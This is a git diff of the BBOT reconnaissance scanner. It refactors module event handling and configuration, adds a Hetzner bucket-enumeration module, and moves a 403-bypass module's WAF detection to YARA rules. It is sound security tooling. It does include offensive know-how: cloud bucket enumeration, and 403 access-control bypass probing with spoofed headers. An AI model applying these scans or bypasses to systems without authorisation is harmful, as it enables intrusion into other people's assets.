-                        async with self._task_counter.count(f"event_postcheck({event})"):
-                            acceptable, reason = await self._event_postcheck(event)
-                        if acceptable:
-                            if event.type == "FINISHED":
-                                context = f"{self.name}.finish()"
-                                try:
-                                    await self.run_task(self.finish(), context)
-                                except asyncio.CancelledError:
-                                    self.debug(f"{context} was cancelled")
-                                    continue
+                        try:
+                            async with self._task_counter.count(f"event_postcheck({event})"):
+                                acceptable, reason = await self._event_postcheck(event)
+                            if acceptable:
+                                if event.type == "FINISHED":
+                                    context = f"{self.name}.finish()"
+                                    try:
+                                        await self.run_task(self.finish(), context)
+                                    except asyncio.CancelledError:
+                                        self.debug(f"{context} was cancelled")
+                                        continue
+                                else:
+                                    context = f"{self.name}.handle_event({event})"
+                                    self.scan.stats.event_consumed(event, self)
+                                    self.debug(f"Handling {event} from {getattr(event, 'module', 'unknown_module')}")
+                                    try:
+                                        await self.run_task(self.handle_event(event), context)
+                                    except asyncio.CancelledError:
+                                        self.debug(f"{context} was cancelled")
+                                        continue
+                                    self.debug(f"Finished handling {event}")
                             else:
-                                context = f"{self.name}.handle_event({event})"
-                                self.scan.stats.event_consumed(event, self)
-                                self.debug(f"Handling {event}")
-                                try:
-                                    await self.run_task(self.handle_event(event), context)
-                                except asyncio.CancelledError:
-                                    self.debug(f"{context} was cancelled")
-                                    continue
-                                self.debug(f"Finished handling {event}")
-                        else:
-                            self.debug(f"Not accepting {event} because {reason}")
-            except asyncio.CancelledError:
-                # this trace was used for debugging leaked CancelledErrors from inside httpx
-                # self.log.trace("Worker cancelled")
-                raise
-            except BaseException as e:
-                if self.helpers.in_exception_chain(e, (KeyboardInterrupt,)):
-                    self.scan.stop()
-                else:
-                    self.error(f"Critical failure in module {self.name}: {e}")
-                    self.error(traceback.format_exc())
+                                self.debug(f"Not accepting {event} because {reason}")
+                        finally:
+                            event._minimize()
+        except asyncio.CancelledError:
+            raise
+        except RuntimeError as e:
+            self.trace(f"RuntimeError in module {self.name}: {e}")
+        except BaseException as e:
+            if self.helpers.in_exception_chain(e, (KeyboardInterrupt,)):
+                await self.scan.async_stop()
+            else:
+                self.error(f"Critical failure in module {self.name}: {e}")
+                self.error(traceback.format_exc())
         self.log.trace("Worker stopped")
 
+    @property
+    def accept_seeds(self):
+        """
+        Returns whether the module accepts seed events.
+        Defaults to True for passive modules, False otherwise.
+        """
+        # Default to True for passive modules, False otherwise
+        return "passive" in self.flags
+
     @property
     def max_scope_distance(self):
         """
@@ -838,19 +860,23 @@ def _event_precheck(self, event):
         if self.errored:
             return False, "module is in error state"
         # exclude non-watched types
-        if not any(t in self.get_watched_events() for t in ("*", event.type)):
+        watched_events = self.get_watched_events()
+        event_type_watched = any(t in watched_events for t in ("*", event.type))
+        # Check if module accepts seeds and event is a seed (only if event type is watched)
+        if self.accept_seeds and "seed" in event.tags and event_type_watched:
+            return True, "it is a seed event and module accepts seeds"
+        if not event_type_watched:
             return False, "its type is not in watched_events"
-        if self.target_only:
-            if "target" not in event.tags:
-                return False, "it did not meet target_only filter criteria"
+        if self.target_only and "target" not in event.tags:
+            return False, "it did not meet target_only filter criteria"
 
-        # limit js URLs to modules that opt in to receive them
-        if (not self.accept_url_special) and event.type.startswith("URL"):
+        # limit events with special URL extensions (e.g. .js) to modules that opt in
+        if not self.accept_url_special:
             extension = getattr(event, "url_extension", "")
             if extension in self.scan.url_extension_special:
                 return (
                     False,
-                    f"it is a special URL (extension {extension}) but the module does not opt in to receive special URLs",
+                    f"it has a special URL extension ({extension}) but the module does not opt in to receive special URLs",
                 )
 
         return True, "precheck succeeded"
@@ -913,10 +939,36 @@ async def _event_postcheck_inner(self, event):
             if not filter_result:
                 return False, msg
 
-        self.debug(f"{event} passed post-check")
         return True, ""
 
+    async def _is_http_wildcard_host(self, event):
+        """Check whether the event's host is an HTTP wildcard responder.
+
+        Extracts scheme/host/port from the event's parsed_url when available,
+        otherwise falls back to ``event.host`` with https/443.  Returns True
+        (wildcard), False (not wildcard), or None (probe failed / no host).
+        """
+        p = getattr(event, "parsed_url", None)
+        if p is not None and p.hostname:
+            host = p.hostname
+            port = p.port or (443 if p.scheme == "https" else 80)
+            scheme = p.scheme
+        elif event.host:
+            # may miss HTTP-only wildcard hosts, but not worth doubling probe requests
+            host = str(event.host)
+            port = 443
+            scheme = "https"
+        else:
+            return None
+        result = await self.helpers.is_http_wildcard_host(scheme, host, port)
+        if result in (False, None):
+            return result
+        return True
+
     def _scope_distance_check(self, event):
+        # Seeds bypass scope distance checks
+        if self.accept_seeds and "seed" in event.tags:
+            return True, "it is a seed event and module accepts seeds"
         if self.in_scope_only:
             if event.scope_distance > 0:
                 return False, "it did not meet in_scope_only filter criteria"
@@ -997,10 +1049,9 @@ async def queue_event(self, event):
                 if reason and reason != "its type is not in watched_events":
                     self.debug(f"Not queueing {event} because {reason}")
                 return
-            else:
-                self.debug(f"Queueing {event} because {reason}")
             try:
                 self.incoming_event_queue.put_nowait(event)
+                self._increment_consumer_count(event)
                 async with self.event_received:
                     self.event_received.notify()
                 if event.type != "FINISHED":
@@ -1008,6 +1059,17 @@ async def queue_event(self, event):
             except AttributeError:
                 self.debug("Not in an acceptable state to queue incoming event")
 
+    def _increment_consumer_count(self, event):
+        """Increment the event's consumer count when it lands in this module's queue.
+
+        Paired with the matching ``_minimize()`` call when the worker
+        finishes processing. Modules that have no real worker (e.g. the
+        ``python`` output module backing ``Scanner.async_start``)
+        override this to skip the increment — otherwise the count
+        leaks +1 forever and ``_minimize()``'s strip block never fires.
+        """
+        event._module_consumers += 1
+
     async def queue_outgoing_event(self, event, **kwargs):
         """
         Queues an outgoing event to the module's outgoing event queue for further processing.
@@ -1033,36 +1095,30 @@ async def queue_outgoing_event(self, event, **kwargs):
         except AttributeError:
             self.debug("Not in an acceptable state to queue outgoing event")
 
-    def set_error_state(self, message=None, clear_outgoing_queue=False, critical=False):
+    def set_error_state(self, message=None, clear_outgoing_queue=False, critical=False, log_level="error"):
         """
-        Puts the module into an errored state where it cannot accept new events. Optionally logs a warning message.
-
-        The function sets the module's `errored` attribute to True and logs a warning with the optional message.
-        It also clears the incoming event queue to prevent further processing and updates its status to False.
+        Puts the module into an errored state where it cannot accept new events. Optionally logs a message.
 
         Args:
-            message (str, optional): Additional message to be logged along with the warning.
-
-        Returns:
-            None: The function doesn't return anything but updates the `errored` state and clears the incoming event queue.
+            message (str, optional): Additional message to log alongside the state transition.
+            clear_outgoing_queue (bool): Drain the outgoing event queue as well.
+            critical (bool): Log at CRITICAL severity (overrides log_level).
+            log_level (str): Severity to log at when not critical. Use "info" or "verbose" for intentional
+                stops (e.g. user-initiated kill) so they don't appear in error.log.
 
         Examples:
             >>> self.set_error_state()
             >>> self.set_error_state("Failed to connect to the server")
-
-        Notes:
-            - The function sets `self._incoming_event_queue` to False to prevent its further use.
-            - If the module was already in an errored state, the function will not reset the error state or the queue.
+            >>> self.set_error_state("killed by user", log_level="info")
         """
         if not self.errored:
             log_msg = "Setting error state"
             if message is not None:
                 log_msg += f": {message}"
             if critical:
-                log_fn = self.error
+                self.critical(log_msg, trace=False)
             else:
-                log_fn = self.warning
-            log_fn(log_msg)
+                getattr(self, log_level)(log_msg)
             self.errored = True
             # clear incoming queue
             if self.incoming_event_queue is not False:
@@ -1091,9 +1147,21 @@ def is_incoming_duplicate(self, event, add=False):
             return True, msg
         with suppress(TypeError, ValueError):
             event_hash, reason = event_hash
-        is_dup = event_hash in self._incoming_dup_tracker
-        if add:
+        is_post = isinstance(event.data, dict) and event.data.get("method", "") == "POST"
+        is_dup = event_hash in self._incoming_dup_tracker and not is_post
+        if add and not is_post:
             self._incoming_dup_tracker.add(event_hash)
+        if not is_dup and self._avoid_duplicate_content:
+            hash_dict = event.data.get("hash") if isinstance(event.data, dict) else None
+            body_hash = hash_dict.get("body_sha256", "") if isinstance(hash_dict, dict) else ""
+            # skip dedup for empty bodies (e.g. 302 redirects) where the useful data is in headers
+            if body_hash and body_hash != "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855":
+                content_key = hash((event.host, event.port, body_hash))
+                if content_key in self._content_dup_tracker:
+                    is_dup = True
+                    reason = f"duplicate content (body_hash={body_hash})"
+                if add:
+                    self._content_dup_tracker.add(content_key)
         return is_dup, reason
 
     def _incoming_dedup_hash(self, event):
@@ -1272,6 +1340,10 @@ async def api_request(self, *args, **kwargs):
         for _ in range(self.api_retries):
             if "headers" not in kwargs:
                 kwargs["headers"] = {}
+            if "ssl_verify" not in kwargs:
+                kwargs["ssl_verify"] = self.helpers.web.ssl_verify_infrastructure
+            if "timeout" not in kwargs:
+                kwargs["timeout"] = self.http_timeout_infrastructure
             new_url, kwargs = self.prepare_api_request(url, kwargs)
             kwargs["url"] = new_url
 
@@ -1373,7 +1445,7 @@ async def api_page_iter(self, url, page_size=100, _json=True, next_key=None, ite
             **requests_kwargs: Arbitrary keyword arguments that will be forwarded to the HTTP request function.
 
         Yields:
-            dict or httpx.Response: If 'json' is True, yields a dictionary containing the parsed JSON data. Otherwise, yields the raw HTTP response.
+            dict or Response: If 'json' is True, yields a dictionary containing the parsed JSON data. Otherwise, yields the raw HTTP response.
 
         Note:
             The loop will continue indefinitely unless manually stopped. Make sure to break out of the loop once the last page has been received.
@@ -1472,15 +1544,28 @@ def priority(self):
 
     @property
     def auth_required(self):
-        return self.meta.get("auth_required", False)
+        """True iff this module's `class Config` declares any `mandatory=True` field."""
+        cfg = getattr(type(self), "Config", None)
+        if cfg is None:
+            return False
+        from bbot.core.config.models import is_mandatory
+
+        return any(is_mandatory(f) for f in getattr(cfg, "model_fields", {}).values())
 
     @property
     def http_timeout(self):
         """
-        Convenience shortcut to `http_timeout` in the config
+        Convenience shortcut to `http_timeout` in the config (target-directed traffic)
         """
         return self.scan.web_config.get("http_timeout", 10)
 
+    @property
+    def http_timeout_infrastructure(self):
+        """
+        Convenience shortcut to `http_timeout_infrastructure` in the config (APIs, wordlist downloads, etc.)
+        """
+        return self.scan.web_config.get("http_timeout_infrastructure", 10)
+
     @property
     def log(self):
         if getattr(self, "_log", None) is None:
@@ -1745,21 +1830,21 @@ def critical(self, *args, trace=True, **kwargs):
             self.trace()
 
     @classmethod
-    def help_text(self):
+    def help_text(cls):
         """
         Returns a string containing help text for the module.
         This includes the module's description, metadata, events, flags, and available options.
         """
-        # Retrieve the module's metadata, options, events, and flags
-        meta = getattr(self, "meta", {})
-        options = getattr(self, "options", {})
-        options_desc = getattr(self, "options_desc", {})
-        watched_events = getattr(self, "watched_events", [])
-        produced_events = getattr(self, "produced_events", [])
-        flags = getattr(self, "flags", [])
+        from pydantic_core import PydanticUndefined
+
+        # Retrieve the module's metadata, events, and flags
+        meta = getattr(cls, "meta", {})
+        watched_events = getattr(cls, "watched_events", [])
+        produced_events = getattr(cls, "produced_events", [])
+        flags = getattr(cls, "flags", [])
 
         help_text = "\n" + "=" * 40 + "\n"
-        help_text += f"Module Help: {self.__name__}\n"
+        help_text += f"Module Help: {cls.__name__}\n"
         help_text += "=" * 40 + "\n\n"
 
         for key, value in meta.items():
@@ -1774,12 +1859,24 @@ def help_text(self):
         help_text += "\nFlags:\n"
         help_text += "  " + ", ".join(flags) + "\n" if flags else "  None\n"
 
+        # Options come from the module's `class Config`; show only its own declared fields
+        # (mirrors `--list-module-options`), not inherited universal options.
+        config_cls = getattr(cls, "Config", None)
+        own_options = (
+            [name for name in getattr(config_cls, "__annotations__", {}) if name in config_cls.model_fields]
+            if config_cls is not None
+            else []
+        )
         help_text += "\nOptions:\n"
-        if options:
-            for option, default_value in options.items():
-                option_description = options_desc.get(option, "No description available.")
+        if own_options:
+            for option in sorted(own_options):
+                field = config_cls.model_fields[option]
+                default_value = field.get_default(call_default_factory=True)
+                if default_value is PydanticUndefined:
+                    default_value = ""
+                description = field.description or "No description available."
                 help_text += f"  - {option}:\n"
-                help_text += f"      Description: {option_description}\n"
+                help_text += f"      Description: {description}\n"
                 help_text += f"      Default: {default_value}\n"
         else:
             help_text += "  No options available."
@@ -1803,8 +1900,8 @@ class BaseInterceptModule(BaseModule):
     _intercept = True
 
     async def _worker(self):
-        async with self.scan._acatch(context=self._worker, unhandled_is_critical=True):
-            try:
+        try:
+            async with self.scan._acatch(context=self._worker, unhandled_is_critical=True):
                 while not self.scan.stopping and not self.errored:
                     try:
                         if self.incoming_event_queue is not False:
@@ -1828,16 +1925,18 @@ async def _worker(self):
                         continue
 
                     acceptable = True
+                    # precheck/postcheck must be counted so the module isn't marked finished
+                    # while events are mid-check (is_finished reads _task_counter.value)
                     async with self._task_counter.count(f"event_precheck({event})"):
                         precheck_pass, reason = self._event_precheck(event)
                     if not precheck_pass:
-                        self.debug(f"Not intercepting {event} because precheck failed ({reason})")
-                        acceptable = False
-                    async with self._task_counter.count(f"event_postcheck({event})"):
-                        postcheck_pass, reason = await self._event_postcheck(event)
-                    if not postcheck_pass:
-                        self.debug(f"Not intercepting {event} because postcheck failed ({reason})")
                         acceptable = False
+                    else:
+                        async with self._task_counter.count(f"event_postcheck({event})"):
+                            postcheck_pass, reason = await self._event_postcheck(event)
+                        if not postcheck_pass:
+                            self.debug(f"Not intercepting {event} because postcheck failed ({reason})")
+                            acceptable = False
 
                     # whether to pass the event on to the rest of the scan
                     # defaults to true, unless handle_event returns False
@@ -1845,7 +1944,7 @@ async def _worker(self):
                     forward_event_reason = ""
 
                     if acceptable:
-                        context = f"{self.name}.handle_event({event, kwargs})"
+                        context = f"{self.name}.handle_event({event})"
                         self.scan.stats.event_consumed(event, self)
                         self.debug(f"Intercepting {event}")
                         try:
@@ -1860,19 +1959,19 @@ async def _worker(self):
                             self.debug(f"Not forwarding {event} because {forward_event_reason}")
                             continue
 
-                    self.debug(f"Forwarding {event}")
                     await self.forward_event(event, kwargs)
 
-            except asyncio.CancelledError:
-                # this trace was used for debugging leaked CancelledErrors from inside httpx
-                # self.log.trace("Worker cancelled")
-                raise
-            except BaseException as e:
-                if self.helpers.in_exception_chain(e, (KeyboardInterrupt,)):
-                    self.scan.stop()
-                else:
-                    self.critical(f"Critical failure in intercept module {self.name}: {e}")
-                    self.critical(traceback.format_exc())
+        except asyncio.CancelledError:
+            raise
+        except RuntimeError as e:
+            self.trace(f"RuntimeError in intercept module {self.name}: {e}")
+        except BaseException as e:
+            if self.helpers.in_exception_chain(e, (KeyboardInterrupt,)):
+                await self.scan.async_stop()
+            else:
+                self.critical(f"Critical failure in intercept module {self.name}: {e}")
+                self.critical(traceback.format_exc())
+
         self.log.trace("Worker stopped")
 
     async def get_incoming_event(self):
@@ -1905,6 +2004,3 @@ async def queue_event(self, event, kwargs=None):
             self.incoming_event_queue.put_nowait((event, kwargs))
         except AttributeError:
             self.debug("Not in an acceptable state to queue incoming event")
-
-    async def _event_postcheck(self, event):
-        return await self._event_postcheck_inner(event)
diff --git a/bbot/modules/bevigil.py b/bbot/modules/bevigil.py
index 8e70fe4143..e5fd13202d 100644
--- a/bbot/modules/bevigil.py
+++ b/bbot/modules/bevigil.py
@@ -1,4 +1,5 @@
 from bbot.modules.templates.subdomain_enum import subdomain_enum_apikey
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class bevigil(subdomain_enum_apikey):
@@ -8,15 +9,16 @@ class bevigil(subdomain_enum_apikey):
 
     watched_events = ["DNS_NAME"]
     produced_events = ["DNS_NAME", "URL_UNVERIFIED"]
-    flags = ["subdomain-enum", "passive", "safe"]
+    flags = ["safe", "subdomain-enum", "passive"]
     meta = {
         "description": "Retrieve OSINT data from mobile applications using BeVigil",
         "created_date": "2022-10-26",
         "author": "@alt-glitch",
-        "auth_required": True,
     }
-    options = {"api_key": "", "urls": False}
-    options_desc = {"api_key": "BeVigil OSINT API Key", "urls": "Emit URLs in addition to DNS_NAMEs"}
+
+    class Config(BaseModuleConfig):
+        api_key: str | list[str] = Field("", description="BeVigil OSINT API Key", sensitive=True, mandatory=True)
+        urls: bool = Field(False, description="Emit URLs in addition to DNS_NAMEs")
 
     base_url = "https://osint.bevigil.com/api"
 
@@ -38,7 +40,7 @@ async def handle_event(self, event):
                     subdomain,
                     "DNS_NAME",
                     parent=event,
-                    context=f'{{module}} queried BeVigil\'s API for "{query}" and discovered {{event.type}}: {{event.data}}',
+                    context=f'{{module}} queried BeVigil\'s API for "{query}" and discovered {{event.type}}: {{event.pretty_string}}',
                 )
 
         if self.urls:
@@ -49,7 +51,7 @@ async def handle_event(self, event):
                         parsed_url.geturl(),
                         "URL_UNVERIFIED",
                         parent=event,
-                        context=f'{{module}} queried BeVigil\'s API for "{query}" and discovered {{event.type}}: {{event.data}}',
+                        context=f'{{module}} queried BeVigil\'s API for "{query}" and discovered {{event.type}}: {{event.pretty_string}}',
                     )
 
     async def request_subdomains(self, query):
diff --git a/bbot/modules/bucket_amazon.py b/bbot/modules/bucket_amazon.py
index 9b0315c0ab..94008fa7bb 100644
--- a/bbot/modules/bucket_amazon.py
+++ b/bbot/modules/bucket_amazon.py
@@ -1,19 +1,20 @@
 from bbot.modules.templates.bucket import bucket_template
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class bucket_amazon(bucket_template):
     watched_events = ["DNS_NAME", "STORAGE_BUCKET"]
     produced_events = ["STORAGE_BUCKET", "FINDING"]
-    flags = ["active", "safe", "cloud-enum", "web-basic"]
+    flags = ["safe", "active", "cloud-enum", "web"]
     meta = {
         "description": "Check for S3 buckets related to target",
         "created_date": "2022-11-04",
         "author": "@TheTechromancer",
     }
-    options = {"permutations": False}
-    options_desc = {
-        "permutations": "Whether to try permutations",
-    }
+
+    class Config(BaseModuleConfig):
+        permutations: bool = Field(False, description="Whether to try permutations")
+
     scope_distance_modifier = 3
 
     cloudcheck_provider_name = "Amazon"
diff --git a/bbot/modules/bucket_digitalocean.py b/bbot/modules/bucket_digitalocean.py
index 16701a0f1c..1c462bd727 100644
--- a/bbot/modules/bucket_digitalocean.py
+++ b/bbot/modules/bucket_digitalocean.py
@@ -1,19 +1,19 @@
 from bbot.modules.templates.bucket import bucket_template
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class bucket_digitalocean(bucket_template):
     watched_events = ["DNS_NAME", "STORAGE_BUCKET"]
     produced_events = ["STORAGE_BUCKET", "FINDING"]
-    flags = ["active", "safe", "slow", "cloud-enum", "web-thorough"]
+    flags = ["safe", "active", "slow", "cloud-enum", "web-heavy"]
     meta = {
         "description": "Check for DigitalOcean spaces related to target",
         "created_date": "2022-11-08",
         "author": "@TheTechromancer",
     }
-    options = {"permutations": False}
-    options_desc = {
-        "permutations": "Whether to try permutations",
-    }
+
+    class Config(BaseModuleConfig):
+        permutations: bool = Field(False, description="Whether to try permutations")
 
     cloudcheck_provider_name = "DigitalOcean"
     delimiters = ("", "-")
diff --git a/bbot/modules/bucket_file_enum.py b/bbot/modules/bucket_file_enum.py
index 15a429de93..a464316d80 100644
--- a/bbot/modules/bucket_file_enum.py
+++ b/bbot/modules/bucket_file_enum.py
@@ -1,5 +1,6 @@
 from bbot.modules.base import BaseModule
 import xml.etree.ElementTree as ET
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class bucket_file_enum(BaseModule):
@@ -16,11 +17,11 @@ class bucket_file_enum(BaseModule):
         "created_date": "2023-11-14",
         "author": "@TheTechromancer",
     }
-    flags = ["passive", "safe", "cloud-enum"]
-    options = {
-        "file_limit": 50,
-    }
-    options_desc = {"file_limit": "Limit the number of files downloaded per bucket"}
+    flags = ["safe", "passive", "cloud-enum"]
+
+    class Config(BaseModuleConfig):
+        file_limit: int = Field(50, description="Limit the number of files downloaded per bucket")
+
     scope_distance_modifier = 2
 
     async def setup(self):
@@ -28,12 +29,11 @@ async def setup(self):
         return True
 
     async def handle_event(self, event):
-        cloud_tags = (t for t in event.tags if t.startswith("cloud-"))
-        if any(t.endswith("-amazon") or t.endswith("-digitalocean") for t in cloud_tags):
+        if "amazon" in event.tags or "digitalocean" in event.tags:
             await self.handle_aws(event)
 
     async def handle_aws(self, event):
-        url = event.data["url"]
+        url = event.url
         urls_emitted = 0
         response = await self.helpers.request(url)
         status_code = getattr(response, "status_code", 0)
@@ -52,7 +52,7 @@ async def handle_aws(self, event):
                         "URL_UNVERIFIED",
                         parent=event,
                         tags="filedownload",
-                        context=f"{{module}} enumerate files in bucket and discovered {extension_upper} file at {{event.type}}: {{event.data}}",
+                        context=f"{{module}} enumerate files in bucket and discovered {extension_upper} file at {{event.type}}: {{event.pretty_string}}",
                     )
                     urls_emitted += 1
                     if urls_emitted >= self.file_limit:
diff --git a/bbot/modules/bucket_firebase.py b/bbot/modules/bucket_firebase.py
index d78097829c..dbe64bf475 100644
--- a/bbot/modules/bucket_firebase.py
+++ b/bbot/modules/bucket_firebase.py
@@ -1,19 +1,19 @@
 from bbot.modules.templates.bucket import bucket_template
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class bucket_firebase(bucket_template):
     watched_events = ["DNS_NAME", "STORAGE_BUCKET"]
     produced_events = ["STORAGE_BUCKET", "FINDING"]
-    flags = ["active", "safe", "cloud-enum", "web-basic"]
+    flags = ["safe", "active", "cloud-enum", "web"]
     meta = {
         "description": "Check for open Firebase databases related to target",
         "created_date": "2023-03-20",
         "author": "@TheTechromancer",
     }
-    options = {"permutations": False}
-    options_desc = {
-        "permutations": "Whether to try permutations",
-    }
+
+    class Config(BaseModuleConfig):
+        permutations: bool = Field(False, description="Whether to try permutations")
 
     cloudcheck_provider_name = "Google"
     delimiters = ("", "-")
diff --git a/bbot/modules/bucket_google.py b/bbot/modules/bucket_google.py
index 579453276d..edaf864f0c 100644
--- a/bbot/modules/bucket_google.py
+++ b/bbot/modules/bucket_google.py
@@ -1,4 +1,5 @@
 from bbot.modules.templates.bucket import bucket_template
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class bucket_google(bucket_template):
@@ -8,16 +9,15 @@ class bucket_google(bucket_template):
 
     watched_events = ["DNS_NAME", "STORAGE_BUCKET"]
     produced_events = ["STORAGE_BUCKET", "FINDING"]
-    flags = ["active", "safe", "cloud-enum", "web-basic"]
+    flags = ["safe", "active", "cloud-enum", "web"]
     meta = {
         "description": "Check for Google object storage related to target",
         "created_date": "2022-11-04",
         "author": "@TheTechromancer",
     }
-    options = {"permutations": False}
-    options_desc = {
-        "permutations": "Whether to try permutations",
-    }
+
+    class Config(BaseModuleConfig):
+        permutations: bool = Field(False, description="Whether to try permutations")
 
     cloudcheck_provider_name = "Google"
     delimiters = ("", "-", ".", "_")
diff --git a/bbot/modules/bucket_hetzner.py b/bbot/modules/bucket_hetzner.py
new file mode 100644
index 0000000000..192e1502c1
--- /dev/null
+++ b/bbot/modules/bucket_hetzner.py
@@ -0,0 +1,29 @@
+from bbot.modules.templates.bucket import bucket_template
+from bbot.core.config.models import BaseModuleConfig, Field
+
+
+class bucket_hetzner(bucket_template):
+    watched_events = ["DNS_NAME", "STORAGE_BUCKET"]
+    produced_events = ["STORAGE_BUCKET", "FINDING"]
+    flags = ["safe", "active", "slow", "cloud-enum", "web-heavy"]
+    meta = {
+        "description": "Check for Hetzner Object Storage buckets related to target",
+        "created_date": "2026-05-04",
+        "author": "@ChrisJr404",
+    }
+
+    class Config(BaseModuleConfig):
+        permutations: bool = Field(False, description="Whether to try permutations")
+
+    cloudcheck_provider_name = "Hetzner"
+    delimiters = ("", "-")
+    base_domains = ["your-objectstorage.com"]
+    # Hetzner Object Storage locations:
+    #   fsn1 - Falkenstein, DE
+    #   nbg1 - Nuremberg, DE
+    #   hel1 - Helsinki, FI
+    # https://docs.hetzner.com/storage/object-storage/overview/
+    regions = ["fsn1", "nbg1", "hel1"]
+
+    def build_url(self, bucket_name, base_domain, region):
+        return f"https://{bucket_name}.{region}.{base_domain}/"
diff --git a/bbot/modules/bucket_microsoft.py b/bbot/modules/bucket_microsoft.py
index 17d2386f8e..a565fdfe01 100644
--- a/bbot/modules/bucket_microsoft.py
+++ b/bbot/modules/bucket_microsoft.py
@@ -1,19 +1,19 @@
 from bbot.modules.templates.bucket import bucket_template
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class bucket_microsoft(bucket_template):
     watched_events = ["DNS_NAME", "STORAGE_BUCKET"]
     produced_events = ["STORAGE_BUCKET", "FINDING"]
-    flags = ["active", "safe", "cloud-enum", "web-basic"]
+    flags = ["safe", "active", "cloud-enum", "web"]
     meta = {
         "description": "Check for Azure storage blobs related to target",
         "created_date": "2022-11-04",
         "author": "@TheTechromancer",
     }
-    options = {"permutations": False}
-    options_desc = {
-        "permutations": "Whether to try permutations",
-    }
+
+    class Config(BaseModuleConfig):
+        permutations: bool = Field(False, description="Whether to try permutations")
 
     cloudcheck_provider_name = "Microsoft"
     delimiters = ("", "-")
diff --git a/bbot/modules/bufferoverrun.py b/bbot/modules/bufferoverrun.py
index 9523dc6269..baeb1bad58 100644
--- a/bbot/modules/bufferoverrun.py
+++ b/bbot/modules/bufferoverrun.py
@@ -1,18 +1,20 @@
 from bbot.modules.templates.subdomain_enum import subdomain_enum_apikey
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class BufferOverrun(subdomain_enum_apikey):
     watched_events = ["DNS_NAME"]
     produced_events = ["DNS_NAME"]
-    flags = ["subdomain-enum", "passive", "safe"]
+    flags = ["safe", "subdomain-enum", "passive"]
     meta = {
         "description": "Query BufferOverrun's TLS API for subdomains",
         "created_date": "2024-10-23",
         "author": "@TheTechromancer",
-        "auth_required": True,
     }
-    options = {"api_key": "", "commercial": False}
-    options_desc = {"api_key": "BufferOverrun API key", "commercial": "Use commercial API"}
+
+    class Config(BaseModuleConfig):
+        api_key: str | list[str] = Field("", description="BufferOverrun API key", sensitive=True, mandatory=True)
+        commercial: bool = Field(False, description="Use commercial API")
 
     base_url = "https://tls.bufferover.run/dns"
     commercial_base_url = "https://bufferover-run-tls.p.rapidapi.com/ipv4/dns"
diff --git a/bbot/modules/builtwith.py b/bbot/modules/builtwith.py
index 6d0269cae6..cc7fd28ce7 100644
--- a/bbot/modules/builtwith.py
+++ b/bbot/modules/builtwith.py
@@ -11,20 +11,23 @@
 ############################################################
 
 from bbot.modules.templates.subdomain_enum import subdomain_enum_apikey
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class builtwith(subdomain_enum_apikey):
     watched_events = ["DNS_NAME"]
     produced_events = ["DNS_NAME"]
-    flags = ["affiliates", "subdomain-enum", "passive", "safe"]
+    flags = ["safe", "affiliates", "subdomain-enum", "passive"]
     meta = {
         "description": "Query Builtwith.com for subdomains",
         "created_date": "2022-08-23",
         "author": "@TheTechromancer",
-        "auth_required": True,
     }
-    options = {"api_key": "", "redirects": True}
-    options_desc = {"api_key": "Builtwith API key", "redirects": "Also look up inbound and outbound redirects"}
+
+    class Config(BaseModuleConfig):
+        api_key: str | list[str] = Field("", description="Builtwith API key", sensitive=True, mandatory=True)
+        redirects: bool = Field(True, description="Also look up inbound and outbound redirects")
+
     base_url = "https://api.builtwith.com"
 
     async def handle_event(self, event):
@@ -39,7 +42,7 @@ async def handle_event(self, event):
                         s,
                         "DNS_NAME",
                         parent=event,
-                        context=f'{{module}} queried the BuiltWith API for "{query}" and found {{event.type}}: {{event.data}}',
+                        context=f'{{module}} queried the BuiltWith API for "{query}" and found {{event.type}}: {{event.pretty_string}}',
                     )
         # redirects
         if self.config.get("redirects", True):
@@ -53,7 +56,7 @@ async def handle_event(self, event):
                             "DNS_NAME",
                             parent=event,
                             tags=["affiliate"],
-                            context=f'{{module}} queried the BuiltWith redirect API for "{query}" and found redirect to {{event.type}}: {{event.data}}',
+                            context=f'{{module}} queried the BuiltWith redirect API for "{query}" and found redirect to {{event.type}}: {{event.pretty_string}}',
                         )
 
     async def request_domains(self, query):
diff --git a/bbot/modules/bypass403.py b/bbot/modules/bypass403.py
index 61fb510775..4a4b0ec473 100644
--- a/bbot/modules/bypass403.py
+++ b/bbot/modules/bypass403.py
@@ -1,5 +1,6 @@
 from bbot.errors import HttpCompareError
 from bbot.modules.base import BaseModule
+from bbot.core.helpers.misc import get_waf_strings
 
 """
 Port of https://github.com/iamj0ker/bypass-403/ and https://portswigger.net/bappstore/444407b96d9c4de0adb7aed89e826122
@@ -63,8 +64,6 @@
     "X-Host": "127.0.0.1",
 }
 
-# This is planned to be replaced in the future: https://github.com/blacklanternsecurity/bbot/issues/1068
-waf_strings = ["The requested URL was rejected"]
 
 for qp in query_payloads:
     signatures.append(("GET", "{scheme}://{netloc}/{path}%s" % qp, None, True))
@@ -78,17 +77,21 @@
 class bypass403(BaseModule):
     watched_events = ["URL"]
     produced_events = ["FINDING"]
-    flags = ["active", "aggressive", "web-thorough"]
+    flags = ["active", "loud", "web-heavy"]
     meta = {"description": "Check 403 pages for common bypasses", "created_date": "2022-07-05", "author": "@liquidsec"}
     in_scope_only = True
 
+    async def setup(self):
+        self.waf_yara_rules = self.helpers.yara.compile_strings(get_waf_strings(), nocase=True)
+        return True
+
     async def do_checks(self, compare_helper, event, collapse_threshold):
         results = set()
         error_count = 0
 
         for sig in signatures:
             if error_count > 3:
-                self.warning(f"Received too many errors for URL {event.data} aborting bypass403")
+                self.warning(f"Received too many errors for URL {event.url} aborting bypass403")
                 return None
 
             sig = self.format_signature(sig, event)
@@ -107,10 +110,10 @@ async def do_checks(self, compare_helper, event, collapse_threshold):
 
             # In some cases WAFs will respond with a 200 code which causes a false positive
             if subject_response is not None:
-                for ws in waf_strings:
-                    if ws in subject_response.text:
-                        self.debug("Rejecting result based on presence of WAF string")
-                        return
+                waf_matches = await self.helpers.yara.match(self.waf_yara_rules, subject_response.text)
+                if waf_matches:
+                    self.debug("Rejecting result based on presence of WAF string")
+                    return
 
             if match is False:
                 if str(subject_response.status_code)[0] != "4":
